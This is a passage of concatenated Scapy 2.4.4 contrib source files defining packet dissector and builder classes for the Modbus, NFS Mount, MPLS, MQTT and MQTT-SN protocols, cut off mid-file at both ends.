Unknown Reserved Response', 0x7F: '0x7f Unknown Reserved Response', } _reserved_funccode_error = { 0x89: '0x89 Unknown Reserved Error', 0x8A: '0x8a Unknown Reserved Error', 0x8D: '0x8d Unknown Reserved Error', 0x8E: '0x8e Unknown Reserved Error', 0xA9: '0x88 Unknown Reserved Error', 0xAA: '0x88 Unknown Reserved Error', 0xDA: 'Specific Schneider Electric Error', 0xDB: '0xdb Unknown Reserved Error', 0xDC: '0xdc Unknown Reserved Error', 0xFD: '0xfd Unknown Reserved Error', 0xFE: '0xfe Unknown Reserved Error', 0xFF: '0xff Unknown Reserved Error', } class ModbusPDUReservedFunctionCodeRequest(_ModbusPDUNoPayload): name = "Reserved Function Code Request" fields_desc = [ ByteEnumField("funcCode", 0x00, _reserved_funccode_request), StrFixedLenField('payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus Reserved Request %funcCode%") class ModbusPDUReservedFunctionCodeResponse(_ModbusPDUNoPayload): name = "Reserved Function Code Response" fields_desc = [ ByteEnumField("funcCode", 0x00, _reserved_funccode_response), StrFixedLenField('payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus Reserved Response %funcCode%") class ModbusPDUReservedFunctionCodeError(_ModbusPDUNoPayload): name = "Reserved Function Code Error" fields_desc = [ ByteEnumField("funcCode", 0x00, _reserved_funccode_error), StrFixedLenField('payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus Reserved Error %funcCode%") _userdefined_funccode_request = { } _userdefined_funccode_response = { } _userdefined_funccode_error = { } class ModbusByteEnumField(EnumField): __slots__ = "defEnum" def __init__(self, name, default, enum, defEnum): EnumField.__init__(self, name, default, enum, "B") self.defEnum = defEnum def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x, VolatileValue) \ and x in self.i2s: return self.i2s[x] if self.defEnum: return self.defEnum return repr(x) class ModbusPDUUserDefinedFunctionCodeRequest(_ModbusPDUNoPayload): name = "User-Defined Function Code Request" fields_desc = [ ModbusByteEnumField( "funcCode", 0x00, _userdefined_funccode_request, "Unknown user-defined request function Code"), StrFixedLenField('payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus User-Defined Request %funcCode%") class ModbusPDUUserDefinedFunctionCodeResponse(_ModbusPDUNoPayload): name = "User-Defined Function Code Response" fields_desc = [ ModbusByteEnumField( "funcCode", 0x00, _userdefined_funccode_response, "Unknown user-defined response function Code"), StrFixedLenField('payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus User-Defined Response %funcCode%") class ModbusPDUUserDefinedFunctionCodeError(_ModbusPDUNoPayload): name = "User-Defined Function Code Error" fields_desc = [ ModbusByteEnumField( "funcCode", 0x00, _userdefined_funccode_error, "Unknown user-defined error function Code"), StrFixedLenField('payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus User-Defined Error %funcCode%") class ModbusObjectId(Packet): name = "Object" fields_desc = [ByteEnumField("id", 0x00, _read_device_id_object_id), BitFieldLenField("length", None, 8, length_of="value"), StrLenField("value", "", length_from=lambda pkt: pkt.length)] def guess_payload_class(self, payload): return ModbusObjectId _modbus_request_classes = { 0x01: ModbusPDU01ReadCoilsRequest, 0x02: ModbusPDU02ReadDiscreteInputsRequest, 0x03: ModbusPDU03ReadHoldingRegistersRequest, 0x04: ModbusPDU04ReadInputRegistersRequest, 0x05: ModbusPDU05WriteSingleCoilRequest, 0x06: ModbusPDU06WriteSingleRegisterRequest, 0x07: ModbusPDU07ReadExceptionStatusRequest, 0x08: ModbusPDU08DiagnosticsRequest, 0x0B: ModbusPDU0BGetCommEventCounterRequest, 0x0C: ModbusPDU0CGetCommEventLogRequest, 0x0F: ModbusPDU0FWriteMultipleCoilsRequest, 0x10: ModbusPDU10WriteMultipleRegistersRequest, 0x11: ModbusPDU11ReportSlaveIdRequest, 0x14: ModbusPDU14ReadFileRecordRequest, 0x15: ModbusPDU15WriteFileRecordRequest, 0x16: ModbusPDU16MaskWriteRegisterRequest, 0x17: ModbusPDU17ReadWriteMultipleRegistersRequest, 0x18: ModbusPDU18ReadFIFOQueueRequest, } _modbus_error_classes = { 0x81: ModbusPDU01ReadCoilsError, 0x82: ModbusPDU02ReadDiscreteInputsError, 0x83: ModbusPDU03ReadHoldingRegistersError, 0x84: ModbusPDU04ReadInputRegistersError, 0x85: ModbusPDU05WriteSingleCoilError, 0x86: ModbusPDU06WriteSingleRegisterError, 0x87: ModbusPDU07ReadExceptionStatusError, 0x88: ModbusPDU08DiagnosticsError, 0x8B: ModbusPDU0BGetCommEventCounterError, 0x0C: ModbusPDU0CGetCommEventLogError, 0x8F: ModbusPDU0FWriteMultipleCoilsError, 0x90: ModbusPDU10WriteMultipleRegistersError, 0x91: ModbusPDU11ReportSlaveIdError, 0x94: ModbusPDU14ReadFileRecordError, 0x95: ModbusPDU15WriteFileRecordError, 0x96: ModbusPDU16MaskWriteRegisterError, 0x97: ModbusPDU17ReadWriteMultipleRegistersError, 0x98: ModbusPDU18ReadFIFOQueueError, 0xAB: ModbusPDU2B0EReadDeviceIdentificationError, } _modbus_response_classes = { 0x01: ModbusPDU01ReadCoilsResponse, 0x02: ModbusPDU02ReadDiscreteInputsResponse, 0x03: ModbusPDU03ReadHoldingRegistersResponse, 0x04: ModbusPDU04ReadInputRegistersResponse, 0x05: ModbusPDU05WriteSingleCoilResponse, 0x06: ModbusPDU06WriteSingleRegisterResponse, 0x07: ModbusPDU07ReadExceptionStatusResponse, 0x88: ModbusPDU08DiagnosticsResponse, 0x8B: ModbusPDU0BGetCommEventCounterRequest, 0x0C: ModbusPDU0CGetCommEventLogResponse, 0x0F: ModbusPDU0FWriteMultipleCoilsResponse, 0x10: ModbusPDU10WriteMultipleRegistersResponse, 0x11: ModbusPDU11ReportSlaveIdResponse, 0x14: ModbusPDU14ReadFileRecordResponse, 0x15: ModbusPDU15WriteFileRecordResponse, 0x16: ModbusPDU16MaskWriteRegisterResponse, 0x17: ModbusPDU17ReadWriteMultipleRegistersResponse, 0x18: ModbusPDU18ReadFIFOQueueResponse, } _mei_types_request = { 0x0E: ModbusPDU2B0EReadDeviceIdentificationRequest, # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceRequest, } _mei_types_response = { 0x0E: ModbusPDU2B0EReadDeviceIdentificationResponse, # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceResponse, } class ModbusADURequest(Packet): name = "ModbusADU" fields_desc = [ # needs to be unique XShortField("transId", 0x0000), # needs to be zero (Modbus) XShortField("protoId", 0x0000), # is calculated with payload ShortField("len", None), # 0xFF (recommended as non-significant value) or 0x00 XByteField("unitId", 0xff), ] def guess_payload_class(self, payload): function_code = orb(payload[0]) if function_code == 0x2B: sub_code = orb(payload[1]) try: return _mei_types_request[sub_code] except KeyError: pass try: return _modbus_request_classes[function_code] except KeyError: pass if function_code in _reserved_funccode_request: return ModbusPDUReservedFunctionCodeRequest return ModbusPDUUserDefinedFunctionCodeRequest def post_build(self, p, pay): if self.len is None: tmp_len = len(pay) + 1 # +len(p) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay class ModbusADUResponse(Packet): name = "ModbusADU" fields_desc = [ # needs to be unique XShortField("transId", 0x0000), # needs to be zero (Modbus) XShortField("protoId", 0x0000), # is calculated with payload ShortField("len", None), # 0xFF or 0x00 should be used for Modbus over TCP/IP XByteField("unitId", 0xff), ] def guess_payload_class(self, payload): function_code = orb(payload[0]) if function_code == 0x2B: sub_code = orb(payload[1]) try: return _mei_types_response[sub_code] except KeyError: pass try: return _modbus_response_classes[function_code] except KeyError: pass try: return _modbus_error_classes[function_code] except KeyError: pass if function_code in _reserved_funccode_response: return ModbusPDUReservedFunctionCodeResponse elif function_code in _reserved_funccode_error: return ModbusPDUReservedFunctionCodeError if function_code < 0x80: return ModbusPDUUserDefinedFunctionCodeResponse return ModbusPDUUserDefinedFunctionCodeError def post_build(self, p, pay): if self.len is None: tmp_len = len(pay) + 1 # +len(p) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay bind_layers(TCP, ModbusADURequest, dport=502) bind_layers(TCP, ModbusADUResponse, sport=502) scapy-2.4.4/scapy/contrib/mount.py000066400000000000000000000056721372370053500171520ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Lucas Preston # This program is published under a GPLv2 license # scapy.contrib.description = NFS Mount v3 # scapy.contrib.status = loads from scapy.contrib.oncrpc import RPC, RPC_Call from scapy.packet import Packet, bind_layers from scapy.fields import IntField, StrLenField, IntEnumField, PacketField, \ ConditionalField, FieldListField from scapy.contrib.nfs import File_Object mountstat3 = { 0: 'MNT3_OK', 1: 'MNT3ERR_PERM', 2: 'MNT3ERR_NOENT', 5: 'MNT3ERR_IO', 13: 'MNT3ERR_ACCES', 20: 'MNT3ERR_NOTDIR', 22: 'MNT3ERR_INVAL', 63: 'MNT3ERR_NAMETOOLONG', 10004: 'MNT3ERR_NOTSUPP', 10006: 'MNT3ERR_SERVERFAULT' } class Path(Packet): name = 'Path' fields_desc = [ IntField('length', 0), StrLenField('path', '', length_from=lambda pkt: pkt.length), StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4) ] def extract_padding(self, s): return '', s def set(self, path, length=None, fill=None): if length is None: length = len(path) if fill is None: fill = b'\x00' * ((4 - len(path)) % 4) self.length = length self.path = path self.fill = fill class NULL_Call(Packet): name = 'MOUNT NULL Call' fields_desc = [] class NULL_Reply(Packet): name = 'MOUNT NULL Reply' fields_desc = [] bind_layers(RPC, NULL_Call, mtype=0) bind_layers(RPC, NULL_Reply, mtype=1) bind_layers(RPC_Call, NULL_Call, program=100005, procedure=0, pversion=3) class MOUNT_Call(Packet): name = 'MOUNT Call' fields_desc = [ PacketField('path', Path(), Path) ] class MOUNT_Reply(Packet): name = 'MOUNT Reply' fields_desc = [ IntEnumField('status', 0, mountstat3), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 ), ConditionalField(IntField('flavors', 0), lambda pkt: pkt.status == 0), ConditionalField( FieldListField( 'flavor', None, IntField('', None), count_from=lambda pkt: pkt.flavors ), lambda pkt: pkt.status == 0 ) ] def get_filehandle(self): if self.status == 0: return self.filehandle.fh return None bind_layers(RPC, MOUNT_Call, mtype=0) bind_layers(RPC, MOUNT_Reply, mtype=1) bind_layers(RPC_Call, MOUNT_Call, program=100005, procedure=1, pversion=3) class UNMOUNT_Call(Packet): name = 'UNMOUNT Call' fields_desc = [ PacketField('path', Path(), Path) ] class UNMOUNT_Reply(Packet): name = 'UNMOUNT Reply' fields_desc = [] bind_layers(RPC, UNMOUNT_Call, mtype=0) bind_layers(RPC, UNMOUNT_Reply, mtype=1) bind_layers( RPC_Call, UNMOUNT_Call, program=100005, procedure=3, pversion=3 ) scapy-2.4.4/scapy/contrib/mpls.py000066400000000000000000000046361372370053500167620ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Multiprotocol Label Switching (MPLS) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, Padding from scapy.fields import BitField, ByteField, ShortField from scapy.layers.inet import IP, UDP from scapy.contrib.bier import BIER from scapy.layers.inet6 import IPv6 from scapy.layers.l2 import Ether, GRE from scapy.compat import orb class EoMCW(Packet): name = "EoMCW" fields_desc = [BitField("zero", 0, 4), BitField("reserved", 0, 12), ShortField("seq", 0)] def guess_payload_class(self, payload): if len(payload) >= 1: return Ether return Padding class MPLS(Packet): name = "MPLS" fields_desc = [BitField("label", 3, 20), BitField("cos", 0, 3), BitField("s", 1, 1), ByteField("ttl", 0)] def guess_payload_class(self, payload): if len(payload) >= 1: if not self.s: return MPLS ip_version = (orb(payload[0]) >> 4) & 0xF if ip_version == 4: return IP elif ip_version == 5: return BIER elif ip_version == 6: return IPv6 else: if orb(payload[0]) == 0 and orb(payload[1]) == 0: return EoMCW else: return Ether return Padding bind_layers(Ether, MPLS, type=0x8847) bind_layers(IP, MPLS, proto=137) bind_layers(IPv6, MPLS, nh=137) bind_layers(UDP, MPLS, dport=6635) bind_layers(GRE, MPLS, proto=0x8847) bind_layers(MPLS, MPLS, s=0) bind_layers(MPLS, IP, label=0) # IPv4 Explicit NULL bind_layers(MPLS, IPv6, label=2) # IPv6 Explicit NULL bind_layers(MPLS, EoMCW) bind_layers(EoMCW, Ether, zero=0, reserved=0) scapy-2.4.4/scapy/contrib/mqtt.py000066400000000000000000000222531372370053500167670ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Santiago Hernandez Ramos # This program is published under GPLv2 license # scapy.contrib.description = Message Queuing Telemetry Transport (MQTT) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import FieldLenField, BitEnumField, StrLenField, \ ShortField, ConditionalField, ByteEnumField, ByteField, PacketListField from scapy.layers.inet import TCP from scapy.error import Scapy_Exception from scapy.compat import orb, chb from scapy.volatile import RandNum from scapy.config import conf # CUSTOM FIELDS # source: http://stackoverflow.com/a/43717630 class VariableFieldLenField(FieldLenField): def addfield(self, pkt, s, val): val = self.i2m(pkt, val) data = [] while val: if val > 127: data.append(val & 127) val //= 128 else: data.append(val) lastoffset = len(data) - 1 data = b"".join(chb(val | (0 if i == lastoffset else 128)) for i, val in enumerate(data)) return s + data if len(data) > 3: raise Scapy_Exception("%s: malformed length field" % self.__class__.__name__) # If val is None / 0 return s + b"\x00" def getfield(self, pkt, s): value = 0 for offset, curbyte in enumerate(s): curbyte = orb(curbyte) value += (curbyte & 127) * (128 ** offset) if curbyte & 128 == 0: return s[offset + 1:], value if offset > 2: raise Scapy_Exception("%s: malformed length field" % self.__class__.__name__) def randval(self): return RandVariableFieldLen() class RandVariableFieldLen(RandNum): def __init__(self): RandNum.__init__(self, 0, 268435455) # LAYERS CONTROL_PACKET_TYPE = { 1: 'CONNECT', 2: 'CONNACK', 3: 'PUBLISH', 4: 'PUBACK', 5: 'PUBREC', 6: 'PUBREL', 7: 'PUBCOMP', 8: 'SUBSCRIBE', 9: 'SUBACK', 10: 'UNSUBSCRIBE', 11: 'UNSUBACK', 12: 'PINGREQ', 13: 'PINGRESP', 14: 'DISCONNECT', 15: 'AUTH' # Added in v5.0 } QOS_LEVEL = { 0: 'At most once delivery', 1: 'At least once delivery', 2: 'Exactly once delivery' } # source: http://stackoverflow.com/a/43722441 class MQTT(Packet): name = "MQTT fixed header" fields_desc = [ BitEnumField("type", 1, 4, CONTROL_PACKET_TYPE), BitEnumField("DUP", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("QOS", 0, 2, QOS_LEVEL), BitEnumField("RETAIN", 0, 1, {0: 'Disabled', 1: 'Enabled'}), # Since the size of the len field depends on the next layer, we need # to "cheat" with the length_of parameter and use adjust parameter to # calculate the value. VariableFieldLenField("len", None, length_of="len", adjust=lambda pkt, x: len(pkt.payload),), ] PROTOCOL_LEVEL = { 3: 'v3.1', 4: 'v3.1.1', 5: 'v5.0' } class MQTTConnect(Packet): name = "MQTT connect" fields_desc = [ FieldLenField("length", None, length_of="protoname"), StrLenField("protoname", "", length_from=lambda pkt: pkt.length), ByteEnumField("protolevel", 5, PROTOCOL_LEVEL), BitEnumField("usernameflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("passwordflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("willretainflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("willQOSflag", 0, 2, QOS_LEVEL), BitEnumField("willflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("cleansess", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("reserved", 0, 1, {0: 'Disabled', 1: 'Enabled'}), ShortField("klive", 0), FieldLenField("clientIdlen", None, length_of="clientId"), StrLenField("clientId", "", length_from=lambda pkt: pkt.clientIdlen), # Payload with optional fields depending on the flags ConditionalField(FieldLenField("wtoplen", None, length_of="willtopic"), lambda pkt: pkt.willflag == 1), ConditionalField(StrLenField("willtopic", "", length_from=lambda pkt: pkt.wtoplen), lambda pkt: pkt.willflag == 1), ConditionalField(FieldLenField("wmsglen", None, length_of="willmsg"), lambda pkt: pkt.willflag == 1), ConditionalField(StrLenField("willmsg", "", length_from=lambda pkt: pkt.wmsglen), lambda pkt: pkt.willflag == 1), ConditionalField(FieldLenField("userlen", None, length_of="username"), lambda pkt: pkt.usernameflag == 1), ConditionalField(StrLenField("username", "", length_from=lambda pkt: pkt.userlen), lambda pkt: pkt.usernameflag == 1), ConditionalField(FieldLenField("passlen", None, length_of="password"), lambda pkt: pkt.passwordflag == 1), ConditionalField(StrLenField("password", "", length_from=lambda pkt: pkt.passlen), lambda pkt: pkt.passwordflag == 1), ] RETURN_CODE = { 0: 'Connection Accepted', 1: 'Unacceptable protocol version', 2: 'Identifier rejected', 3: 'Server unavailable', 4: 'Bad username/password', 5: 'Not authorized' } class MQTTConnack(Packet): name = "MQTT connack" fields_desc = [ ByteField("sessPresentFlag", 0), ByteEnumField("retcode", 0, RETURN_CODE), # this package has not payload ] class MQTTPublish(Packet): name = "MQTT publish" fields_desc = [ FieldLenField("length", None, length_of="topic"), StrLenField("topic", "", length_from=lambda pkt: pkt.length), ConditionalField(ShortField("msgid", None), lambda pkt: (pkt.underlayer.QOS == 1 or pkt.underlayer.QOS == 2)), StrLenField("value", "", length_from=lambda pkt: (pkt.underlayer.len - pkt.length - 2)), ] class MQTTPuback(Packet): name = "MQTT puback" fields_desc = [ ShortField("msgid", None), ] class MQTTPubrec(Packet): name = "MQTT pubrec" fields_desc = [ ShortField("msgid", None), ] class MQTTPubrel(Packet): name = "MQTT pubrel" fields_desc = [ ShortField("msgid", None), ] class MQTTPubcomp(Packet): name = "MQTT pubcomp" fields_desc = [ ShortField("msgid", None), ] class MQTTTopic(Packet): name = "MQTT topic" fields_desc = [ FieldLenField("length", None, length_of="topic"), StrLenField("topic", "", length_from=lambda pkt:pkt.length) ] def guess_payload_class(self, payload): return conf.padding_layer class MQTTTopicQOS(MQTTTopic): fields_desc = MQTTTopic.fields_desc + [ByteEnumField("QOS", 0, QOS_LEVEL)] class MQTTSubscribe(Packet): name = "MQTT subscribe" fields_desc = [ ShortField("msgid", None), PacketListField("topics", [], cls=MQTTTopicQOS) ] ALLOWED_RETURN_CODE = { 0: 'Success', 1: 'Success', 2: 'Success', 128: 'Failure' } class MQTTSuback(Packet): name = "MQTT suback" fields_desc = [ ShortField("msgid", None), ByteEnumField("retcode", None, ALLOWED_RETURN_CODE) ] class MQTTUnsubscribe(Packet): name = "MQTT unsubscribe" fields_desc = [ ShortField("msgid", None), PacketListField("topics", [], cls=MQTTTopic) ] class MQTTUnsuback(Packet): name = "MQTT unsuback" fields_desc = [ ShortField("msgid", None) ] # LAYERS BINDINGS bind_layers(TCP, MQTT, sport=1883) bind_layers(TCP, MQTT, dport=1883) bind_layers(MQTT, MQTTConnect, type=1) bind_layers(MQTT, MQTTConnack, type=2) bind_layers(MQTT, MQTTPublish, type=3) bind_layers(MQTT, MQTTPuback, type=4) bind_layers(MQTT, MQTTPubrec, type=5) bind_layers(MQTT, MQTTPubrel, type=6) bind_layers(MQTT, MQTTPubcomp, type=7) bind_layers(MQTT, MQTTSubscribe, type=8) bind_layers(MQTT, MQTTSuback, type=9) bind_layers(MQTT, MQTTUnsubscribe, type=10) bind_layers(MQTT, MQTTUnsuback, type=11) bind_layers(MQTTConnect, MQTT) bind_layers(MQTTConnack, MQTT) bind_layers(MQTTPublish, MQTT) bind_layers(MQTTPuback, MQTT) bind_layers(MQTTPubrec, MQTT) bind_layers(MQTTPubrel, MQTT) bind_layers(MQTTPubcomp, MQTT) bind_layers(MQTTSubscribe, MQTT) bind_layers(MQTTSuback, MQTT) bind_layers(MQTTUnsubscribe, MQTT) bind_layers(MQTTUnsuback, MQTT) scapy-2.4.4/scapy/contrib/mqttsn.py000066400000000000000000000311611372370053500173260ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) 2019 Freie Universitaet Berlin # This program is published under GPLv2 license # # Specification: # http://www.mqtt.org/new/wp-content/uploads/2009/06/MQTT-SN_spec_v1.2.pdf # scapy.contrib.description = MQTT for Sensor Networks (MQTT-SN) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import BitField, BitEnumField, ByteField, ByteEnumField, \ ConditionalField, FieldLenField, ShortField, StrFixedLenField, \ StrLenField, XByteEnumField from scapy.layers.inet import UDP from scapy.error import Scapy_Exception from scapy.compat import chb, orb from scapy.volatile import RandNum import struct # Constants ADVERTISE = 0x00 SEARCHGW = 0x01 GWINFO = 0x02 CONNECT = 0x04 CONNACK = 0x05 WILLTOPICREQ = 0x06 WILLTOPIC = 0x07 WILLMSGREQ = 0x08 WILLMSG = 0x09 REGISTER = 0x0a REGACK = 0x0b PUBLISH = 0x0c PUBACK = 0x0d PUBCOMP = 0x0e PUBREC = 0x0f PUBREL = 0x10 SUBSCRIBE = 0x12 SUBACK = 0x13 UNSUBSCRIBE = 0x14 UNSUBACK = 0x15 PINGREQ = 0x16 PINGRESP = 0x17 DISCONNECT = 0x18 WILLTOPICUPD = 0x1a WILLTOPICRESP = 0x1b WILLMSGUPD = 0x1c WILLMSGRESP = 0x1d ENCAPS_MSG = 0xfe QOS_0 = 0b00 QOS_1 = 0b01 QOS_2 = 0b10 QOS_NEG1 = 0b11 TID_NORMAL = 0b00 TID_PREDEF = 0b01 TID_SHORT = 0b10 TID_RESVD = 0b11 ACCEPTED = 0x00 REJ_CONJ = 0x01 REJ_TID = 0x02 REJ_NOTSUP = 0x03 # Custom fields class VariableFieldLenField(FieldLenField): """ MQTT-SN length field either has 1 byte for values [0x02, 0xff] or 3 bytes for values [0x0100, 0xffff]. If the first byte is 0x01 the length value comes in network byte-order in the next 2 bytes. MQTT-SN packets are at least 2 bytes long (length field + type field). """ def addfield(self, pkt, s, val): val = self.i2m(pkt, val) if (val < 2) or (val > 0xffff): raise Scapy_Exception("%s: invalid length field value" % self.__class__.__name__) elif val > 0xff: return s + b"\x01" + struct.pack("!H", val) else: return s + chb(val) def getfield(self, pkt, s): if orb(s[0]) == 0x01: if len(s) < 3: raise Scapy_Exception("%s: malformed length field" % self.__class__.__name__) return s[3:], (orb(s[1]) << 8) | orb(s[2]) else: return s[1:], orb(s[0]) def randval(self): return RandVariableFieldLen() def __init__(self, *args, **kwargs): super(VariableFieldLenField, self).__init__(*args, **kwargs) class RandVariableFieldLen(RandNum): def __init__(self): super(RandVariableFieldLen, self).__init__(0, 0xffff) # Layers PACKET_TYPE = { ADVERTISE: "ADVERTISE", SEARCHGW: "SEARCHGW", GWINFO: "GWINFO", CONNECT: "CONNECT", CONNACK: "CONNACK", WILLTOPICREQ: "WILLTOPICREQ", WILLTOPIC: "WILLTOPIC", WILLMSGREQ: "WILLMSGREQ", WILLMSG: "WILLMSG", REGISTER: "REGISTER", REGACK: "REGACK", PUBLISH: "PUBLISH", PUBACK: "PUBACK", PUBCOMP: "PUBCOMP", PUBREC: "PUBREC", PUBREL: "PUBREL", SUBSCRIBE: "SUBSCRIBE", SUBACK: "SUBACK", UNSUBSCRIBE: "UNSUBSCRIBE", UNSUBACK: "UNSUBACK", PINGREQ: "PINGREQ", PINGRESP: "PINGRESP", DISCONNECT: "DISCONNECT", WILLTOPICUPD: "WILLTOPICUPD", WILLTOPICRESP: "WILLTOPICRESP", WILLMSGUPD: "WILLMSGUPD", WILLMSGRESP: "WILLMSGRESP", ENCAPS_MSG: "Encapsulated message", } QOS_LEVELS = { QOS_0: 'Fire and Forget', QOS_1: 'Acknowledged deliver', QOS_2: 'Assured Delivery', QOS_NEG1: 'No Connection required', } TOPIC_ID_TYPES = { TID_NORMAL: 'Normal ID', TID_PREDEF: 'Pre-defined ID', TID_SHORT: 'Short Topic Name', TID_RESVD: 'Reserved', } RETURN_CODES = { ACCEPTED: "Accepted", REJ_CONJ: "Rejected: congestion", REJ_TID: "Rejected: invalid topic ID", REJ_NOTSUP: "Rejected: not supported", } FLAG_FIELDS = [ BitField("dup", 0, 1), BitEnumField("qos", QOS_0, 2, QOS_LEVELS), BitField("retain", 0, 1), BitField("will", 0, 1), BitField("cleansess", 0, 1), BitEnumField("tid_type", TID_NORMAL, 2, TOPIC_ID_TYPES), ] def _mqttsn_length_from(size_until): def fun(pkt): if (hasattr(pkt.underlayer, "len")): if pkt.underlayer.len > 0xff: return pkt.underlayer.len - size_until - 4 elif (pkt.underlayer.len > 1) and (pkt.underlayer.len < 0xffff): return pkt.underlayer.len - size_until - 2 # assume string to be of length 0 return len(pkt.payload) - size_until + 1 return fun def _mqttsn_len_adjust(pkt, x): res = x + len(pkt.payload) if (pkt.type == DISCONNECT) and \ (getattr(pkt.payload, "duration", None) is None): res -= 2 # duration is optional with DISCONNECT elif (pkt.type == ENCAPS_MSG) and \ (getattr(pkt.payload, "w_node_id", None) is not None): res = x + len(pkt.payload.w_node_id) + 1 if res > 0xff: res += 2 return res class MQTTSN(Packet): name = "MQTT-SN header" fields_desc = [ # Since the size of the len field depends on the next layer, we # need to "cheat" with the length_of parameter and use adjust # parameter to calculate the value. VariableFieldLenField("len", None, length_of="len", adjust=_mqttsn_len_adjust), XByteEnumField("type", 0, PACKET_TYPE), ] class MQTTSNAdvertise(Packet): name = "MQTT-SN advertise gateway" fields_desc = [ ByteField("gw_id", 0), ShortField("duration", 0), ] class MQTTSNSearchGW(Packet): name = "MQTT-SN search gateway" fields_desc = [ ByteField("radius", 0), ] class MQTTSNGwInfo(Packet): name = "MQTT-SN gateway info" fields_desc = [ ByteField("gw_id", 0), StrLenField("gw_addr", "", length_from=_mqttsn_length_from(1)), ] class MQTTSNConnect(Packet): name = "MQTT-SN connect command" fields_desc = FLAG_FIELDS + [ ByteField("prot_id", 1), ShortField("duration", 0), StrLenField("client_id", "", length_from=_mqttsn_length_from(4)), ] class MQTTSNConnack(Packet): name = "MQTT-SN connect ACK" fields_desc = [ ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNWillTopicReq(Packet): name = "MQTT-SN will topic request" class MQTTSNWillTopic(Packet): name = "MQTT-SN will topic" fields_desc = FLAG_FIELDS + [ StrLenField("will_topic", "", length_from=_mqttsn_length_from(1)), ] class MQTTSNWillMsgReq(Packet): name = "MQTT-SN will message request" class MQTTSNWillMsg(Packet): name = "MQTT-SN will message" fields_desc = [ StrLenField("will_msg", "", length_from=_mqttsn_length_from(0)) ] class MQTTSNRegister(Packet): name = "MQTT-SN register" fields_desc = [ ShortField("tid", 0), ShortField("mid", 0), StrLenField("topic_name", "", length_from=_mqttsn_length_from(4)), ] class MQTTSNRegack(Packet): name = "MQTT-SN register ACK" fields_desc = [ ShortField("tid", 0), ShortField("mid", 0), ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNPublish(Packet): name = "MQTT-SN publish message" fields_desc = FLAG_FIELDS + [ ShortField("tid", 0), ShortField("mid", 0), StrLenField("data", "", length_from=_mqttsn_length_from(5)), ] class MQTTSNPuback(Packet): name = "MQTT-SN publish ACK" fields_desc = [ ShortField("tid", 0), ShortField("mid", 0), ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNPubcomp(Packet): name = "MQTT-SN publish complete" fields_desc = [ ShortField("mid", 0), ] class MQTTSNPubrec(Packet): name = "MQTT-SN publish received" fields_desc = [ ShortField("mid", 0), ] class MQTTSNPubrel(Packet): name = "MQTT-SN publish release" fields_desc = [ ShortField("mid", 0), ] class MQTTSNSubscribe(Packet): name = "MQTT-SN subscribe request" fields_desc = FLAG_FIELDS + [ ShortField("mid", 0), ConditionalField(ShortField("tid", None), lambda pkt: pkt.tid_type == 0b01), ConditionalField(StrFixedLenField("short_topic", None, length=2), lambda pkt: pkt.tid_type == 0b10), ConditionalField(StrLenField("topic_name", None, length_from=_mqttsn_length_from(3)), lambda pkt: pkt.tid_type not in [0b01, 0b10]), ] class MQTTSNSuback(Packet): name = "MQTT-SN subscribe ACK" fields_desc = FLAG_FIELDS + [ ShortField("tid", 0), ShortField("mid", 0), ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNUnsubscribe(Packet): name = "MQTT-SN unsubscribe request" fields_desc = FLAG_FIELDS + [ ShortField("mid", 0), ConditionalField(ShortField("tid", None), lambda pkt: pkt.tid_type == 0b01), ConditionalField(StrFixedLenField("short_topic", None, length=2), lambda pkt: pkt.tid_type == 0b10), ConditionalField(StrLenField("topic_name", None, length_from=_mqttsn_length_from(3)), lambda pkt: pkt.tid_type not in [0b01, 0b10]), ] class MQTTSNUnsuback(Packet): name = "MQTT-SN unsubscribe ACK" fields_desc = [ ShortField("mid", 0), ] class MQTTSNPingReq(Packet): name = "MQTT-SN ping request" fields_desc = [ StrLenField("client_id", "", length_from=_mqttsn_length_from(0)), ] class MQTTSNPingResp(Packet): name = "MQTT-SN ping response" class MQTTSNDisconnect(Packet): name = "MQTT-SN disconnect request" fields_desc = [ ConditionalField( ShortField("duration", None), lambda pkt: hasattr(pkt.underlayer, "len") and ((pkt.underlayer.len is None) or (pkt.underlayer.len > 2)) ), ] class MQTTSNWillTopicUpd(Packet): name = "MQTT-SN will topic update" fields_desc = FLAG_FIELDS + [ StrLenField("will_topic", "", length_from=_mqttsn_length_from(1)), ] class 